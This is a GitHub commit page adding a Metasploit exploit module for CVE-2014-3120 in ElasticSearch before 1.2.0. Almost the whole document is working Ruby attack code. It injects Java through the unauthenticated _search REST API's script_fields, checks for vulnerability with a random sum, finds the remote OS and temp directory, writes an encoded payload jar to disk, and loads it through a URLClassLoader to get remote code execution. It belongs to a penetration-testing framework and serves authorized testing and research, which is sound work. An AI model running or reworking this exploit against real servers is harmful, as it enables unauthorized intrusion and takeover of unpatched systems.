Skip to content

Commit 3a3d038

Browse files
committed
Land rapid7#3397 - ElasticSearch Dynamic Script Arbitrary Java Execution
2 parents 53ab2ae + dfa61b3 commit 3a3d038

File tree

1 file changed

+213
-0
lines changed

1 file changed

+213
-0
lines changed
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
17+
'Description' => %q{
18+
This module exploits a remote command execution vulnerability in ElasticSearch,
19+
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
20+
REST API, which requires no authentication or authorization, where the search
21+
function allows dynamic scripts execution, and can be used for remote attackers
22+
to execute arbitrary Java code. This module has been tested successfully on
23+
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
24+
},
25+
'Author' =>
26+
[
27+
'Alex Brasetvik', # Vulnerability discovery
28+
'Bouke van der Bijl', # Vulnerability discovery and PoC
29+
'juan vazquez' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['CVE', '2014-3120'],
35+
['OSVDB', '106949'],
36+
['EDB', '33370'],
37+
['URL', 'http://bouk.co/blog/elasticsearch-rce/'],
38+
['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']
39+
],
40+
'Platform' => 'java',
41+
'Arch' => ARCH_JAVA,
42+
'Targets' =>
43+
[
44+
[ 'ElasticSearch 1.1.1 / Automatic', { } ]
45+
],
46+
'DisclosureDate' => 'Dec 09 2013',
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(9200),
52+
OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),
53+
OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])
54+
], self.class)
55+
end
56+
57+
def check
58+
result = Exploit::CheckCode::Safe
59+
60+
if vulnerable?
61+
result = Exploit::CheckCode::Vulnerable
62+
end
63+
64+
result
65+
end
66+
67+
def exploit
68+
print_status("#{peer} - Trying to execute arbitrary Java..")
69+
unless vulnerable?
70+
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
71+
end
72+
73+
print_status("#{peer} - Asking remote OS...")
74+
res = execute(java_os)
75+
result = parse_result(res)
76+
if result.nil?
77+
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
78+
else
79+
print_good("#{peer} - OS #{result} found")
80+
end
81+
82+
jar_file = ""
83+
if result =~ /win/i
84+
print_status("#{peer} - Asking TEMP path")
85+
res = execute(java_tmp_dir)
86+
result = parse_result(res)
87+
if result.nil?
88+
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
89+
else
90+
print_good("#{peer} - TEMP path found on #{result}")
91+
end
92+
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
93+
else
94+
jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
95+
end
96+
97+
register_file_for_cleanup(jar_file)
98+
execute(java_payload(jar_file))
99+
end
100+
101+
def vulnerable?
102+
addend_one = rand_text_numeric(rand(3) + 1).to_i
103+
addend_two = rand_text_numeric(rand(3) + 1).to_i
104+
sum = addend_one + addend_two
105+
106+
java = java_sum([addend_one, addend_two])
107+
res = execute(java)
108+
result = parse_result(res)
109+
110+
if result.nil?
111+
return false
112+
else
113+
result.to_i == sum
114+
end
115+
end
116+
117+
def parse_result(res)
118+
unless res && res.code == 200 && res.body
119+
return nil
120+
end
121+
122+
begin
123+
json = JSON.parse(res.body.to_s)
124+
rescue JSON::ParserError
125+
return nil
126+
end
127+
128+
begin
129+
result = json['hits']['hits'][0]['fields']['msf_result'][0]
130+
rescue
131+
return nil
132+
end
133+
134+
result
135+
end
136+
137+
def java_sum(summands)
138+
source = <<-EOF
139+
#{summands.join(" + ")}
140+
EOF
141+
142+
source
143+
end
144+
145+
def to_java_byte_array(str)
146+
buff = "byte[] buf = new byte[#{str.length}];\n"
147+
i = 0
148+
str.unpack('C*').each do |c|
149+
buff << "buf[#{i}] = #{c};\n"
150+
i = i + 1
151+
end
152+
153+
buff
154+
end
155+
156+
def java_os
157+
"System.getProperty(\"os.name\")"
158+
end
159+
160+
def java_tmp_dir
161+
"System.getProperty(\"java.io.tmpdir\");"
162+
end
163+
164+
165+
def java_payload(file_name)
166+
source = <<-EOF
167+
import java.io.*;
168+
import java.lang.*;
169+
import java.net.*;
170+
171+
#{to_java_byte_array(payload.encoded_jar.pack)}
172+
File f = new File('#{file_name.gsub(/\\/, "/")}');
173+
FileOutputStream fs = new FileOutputStream(f);
174+
bs = new BufferedOutputStream(fs);
175+
bs.write(buf);
176+
bs.close();
177+
bs = null;
178+
URL u = f.toURI().toURL();
179+
URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});
180+
Class c = cl.loadClass('metasploit.Payload');
181+
c.main(null);
182+
EOF
183+
184+
source
185+
end
186+
187+
def execute(java)
188+
payload = {
189+
"size" => 1,
190+
"query" => {
191+
"filtered" => {
192+
"query" => {
193+
"match_all" => {}
194+
}
195+
}
196+
},
197+
"script_fields" => {
198+
"msf_result" => {
199+
"script" => java
200+
}
201+
}
202+
}
203+
204+
res = send_request_cgi({
205+
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
206+
'method' => 'POST',
207+
'data' => JSON.generate(payload)
208+
})
209+
210+
return res
211+
end
212+
213+
end

0 commit comments

Comments
 (0)